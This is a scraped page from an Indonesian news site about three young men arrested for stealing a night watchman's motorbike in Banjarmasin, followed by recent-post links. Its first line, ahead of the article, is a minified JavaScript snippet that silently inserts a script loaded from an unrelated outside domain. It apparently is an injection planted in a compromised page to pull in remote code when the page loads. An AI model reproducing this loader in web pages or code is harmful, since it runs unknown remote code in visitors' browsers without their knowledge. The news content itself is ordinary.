(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Tiga Remaja di Banjarmasin Curi Motor Bebek Penjaga Malam


KANALKALIMANTAN.COM, BANJARMASIN – Tiga lelaki anak muda nekat melancarkan aksi pencurian sebuah sepeda motor milik seorang penjaga malam di Jalan Sutoyo S, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Kejadian itu terjadi Rabu, 29 Maret 2023 sekitar pukul 05.00 Wita subuh, ketinya melakukan pencurian kendaraan milik penjaga malam yang baru terparkir di depan rumahnya di Gang Rahayu RT 010 RW 001.

Diketahui korban bernama Sani, menaruh ksepda motor bebek miliknya di depan rumah sehabis pulang dari bekerja menjaga malam. Sani bahkan sempat menutup motor tua itu memakai terpal.

Setelah korban masuk ke dalam rumah, beberapa saat kemudian istri korban mendapati motor bebek tua warna biru yang diparkir di depan rumahnya sudah lenyap. Korban pun melaporkan kejadian itu ke Polsek.

 

Baca juga: Intip Persiapan Festival Salikur Banjarbaru 2023, Warga Gang Saeman Bikin Lampion dari Barang Bekas

Sementara itu Unit Opsnal Reskrim Polsek Banjarmasin Barat berhasil mengamankan ketiga pelaku pada Sabtu 1 April 2023 lalu sekitar pukul 00.10 Wita dini hari.

“Ketiga pelaku bersama barang bukti ditemukan di Jalan PHM Noor tepatnya di Gang Perdamaian Kelurahan Kuin Cerucuk, kemudian digiring ke Polsek Banjarmasin Barat guna proses hukum,” ungkap Kapolsek Banjarmasin Barat melalui Kanit Reskrim Iptu Firuza Bahri, Minggu (9/4/2023).

Adapun dari ketiga pelaku, satu di antaranya merupakan seorang pengamen berinisial AKI alias Dapit (19).

Sementara dua lainnya yakni HR alias Iki (19) dan MNG alias Surya (18) yang sama-sama warga Jalan Rawasari, Kelurahan Teluk Dalam Banjarmasin Tengah.

“Pelaku Iki tidak bekerja sedangkan Surya diketahui masih merupakan pelajar,” sebutnya.

Dalam kejadian ini korban turut menderita kerugian sebesar Rp 3 juta.

Baca juga: Organda Banjarbaru Buka Puasa Bersama, Komitmen Layanan Transportasi di Ibu Kota Provinsi

Saat ini kedua pelaku tengah dijerat pasal pencurian dengan pemberatan (curanmor) sebagaimana di maksud pada Padal 363 KUHP.

Sementara satu pelaku lagi dijerat dengan Pasal 480 KUHP dengan tindak pidana yang dikategorikan sebagai kejahatan penadahan. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.